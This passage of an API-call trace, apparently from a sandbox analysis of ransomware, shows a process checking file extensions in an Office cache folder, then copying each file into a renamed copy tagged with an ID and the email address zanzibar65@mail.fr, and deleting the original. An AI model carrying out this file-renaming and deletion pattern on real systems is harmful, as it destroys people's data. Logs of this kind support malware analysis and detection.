Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".doc") returned 4 [0034.385] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".docx") returned 5 [0034.385] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.385] lstrlenW (lpString=".pdf") returned 4 [0034.385] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".xls") returned 4 [0034.386] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".xlsx") returned 5 [0034.386] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.386] lstrlenW (lpString=".ppt") returned 4 [0034.386] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".zip") returned 4 [0034.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.386] lstrlenW (lpString=".rar") returned 4 [0034.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".bz2") returned 4 [0034.386] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".7z") returned 3 [0034.386] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".dbf") returned 4 [0034.386] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".1cd") returned 4 [0034.386] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".jpg") returned 4 [0034.386] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".doc") returned 4 [0034.386] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".docx") returned 5 [0034.386] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.386] lstrlenW (lpString=".pdf") returned 4 [0034.386] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".xls") returned 4 [0034.387] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString=".xlsx") returned 5 [0034.387] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.387] lstrlenW (lpString=".ppt") returned 4 [0034.387] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.387] lstrlenW (lpString=".zip") returned 4 [0034.387] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.387] lstrlenW (lpString=".rar") returned 4 [0034.387] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString=".bz2") returned 4 [0034.387] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString=".7z") returned 3 [0034.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.387] lstrlenW (lpString=".dbf") returned 4 [0034.387] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.387] lstrlenW (lpString=".1cd") returned 4 [0034.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.387] lstrlenW (lpString=".jpg") returned 4 [0034.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.387] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.387] lstrlenW (lpString="Setup.xml") returned 9 [0034.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.906] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6241) returned 1 [0034.906] CloseHandle (hObject=0x1a4) returned 1 [0034.906] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.907] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.907] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.907] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.909] GetLastError () returned 0x0 [0034.909] ReadFile (in: hFile=0x1a4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1861, lpOverlapped=0x0) returned 1 [0034.910] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1870, lpOverlapped=0x0) returned 1 [0034.911] ReadFile (in: hFile=0x1a4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.911] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.911] SetEndOfFile (hFile=0x174) returned 1 [0034.911] CloseHandle (hObject=0x174) returned 1 [0034.912] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.912] SetEndOfFile (hFile=0x1a4) returned 1 [0034.913] CloseHandle (hObject=0x1a4) returned 1 [0034.913] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.913] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".doc") returned 4 [0034.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".docx") returned 5 [0034.914] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.914] lstrlenW (lpString=".pdf") returned 4 [0034.914] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".xls") returned 4 [0034.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".xlsx") returned 5 [0034.914] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.914] lstrlenW (lpString=".ppt") returned 4 [0034.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".zip") returned 4 [0034.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.914] lstrlenW (lpString=".rar") returned 4 [0034.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".bz2") returned 4 [0034.914] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".7z") returned 3 [0034.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".dbf") returned 4 [0034.914] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".1cd") returned 4 [0034.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".jpg") returned 4 [0034.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".doc") returned 4 [0034.914] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".docx") returned 5 [0034.915] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.915] lstrlenW (lpString=".pdf") returned 4 [0034.915] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString=".xls") returned 4 [0034.915] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString=".xlsx") returned 5 [0034.915] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.915] lstrlenW (lpString=".ppt") returned 4 [0034.915] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.915] lstrlenW (lpString=".zip") returned 4 [0034.915] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.915] lstrlenW (lpString=".rar") returned 4 [0034.915] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString=".bz2") returned 4 [0034.915] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString=".7z") returned 3 [0034.915] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.915] lstrlenW (lpString=".dbf") returned 4 [0034.915] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.915] lstrlenW (lpString=".1cd") returned 4 [0034.915] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.915] lstrlenW (lpString=".jpg") returned 4 [0034.915] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.915] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.915] lstrlenW (lpString="Setup.xml") returned 9 [0034.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.017] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1452) returned 1 [0035.017] CloseHandle (hObject=0x198) returned 1 [0035.017] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.017] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.017] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.017] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.018] GetLastError () returned 0x0 [0035.018] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0035.019] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.020] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.020] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.020] SetEndOfFile (hFile=0x178) returned 1 [0035.020] CloseHandle (hObject=0x178) returned 1 [0035.021] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.021] SetEndOfFile (hFile=0x198) returned 1 [0035.022] CloseHandle (hObject=0x198) returned 1 [0035.022] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.022] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.023] lstrlenW (lpString=".doc") returned 4 [0035.023] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString=".docx") returned 5 [0035.023] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.023] lstrlenW (lpString=".pdf") returned 4 [0035.023] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString=".xls") returned 4 [0035.023] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString=".xlsx") returned 5 [0035.023] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.023] lstrlenW (lpString=".ppt") returned 4 [0035.023] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.023] lstrlenW (lpString=".zip") returned 4 [0035.023] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.023] lstrlenW (lpString=".rar") returned 4 [0035.023] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString=".bz2") returned 4 [0035.023] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString=".7z") returned 3 [0035.023] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.023] lstrlenW (lpString=".dbf") returned 4 [0035.023] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.023] lstrlenW (lpString=".1cd") returned 4 [0035.023] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString=".jpg") returned 4 [0035.024] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString=".doc") returned 4 [0035.024] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString=".docx") returned 5 [0035.024] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.024] lstrlenW (lpString=".pdf") returned 4 [0035.024] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString=".xls") returned 4 [0035.024] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString=".xlsx") returned 5 [0035.024] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.024] lstrlenW (lpString=".ppt") returned 4 [0035.024] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString=".zip") returned 4 [0035.024] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.024] lstrlenW (lpString=".rar") returned 4 [0035.024] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString=".bz2") returned 4 [0035.024] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString=".7z") returned 3 [0035.024] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString=".dbf") returned 4 [0035.024] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.024] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.024] lstrlenW (lpString=".1cd") returned 4 [0035.024] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.025] lstrlenW (lpString=".jpg") returned 4 [0035.025] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.025] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.025] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0035.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.392] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=5557) returned 1 [0035.392] CloseHandle (hObject=0x154) returned 1 [0035.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0035.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.392] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.392] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.393] GetLastError () returned 0x0 [0035.393] ReadFile (in: hFile=0x154, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x15b5, lpOverlapped=0x0) returned 1 [0035.394] WriteFile (in: hFile=0x19c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0035.395] ReadFile (in: hFile=0x154, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.395] WriteFile (in: hFile=0x19c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.395] SetEndOfFile (hFile=0x19c) returned 1 [0035.395] CloseHandle (hObject=0x19c) returned 1 [0035.396] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.396] SetEndOfFile (hFile=0x154) returned 1 [0035.397] CloseHandle (hObject=0x154) returned 1 [0035.397] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.397] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0035.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.397] 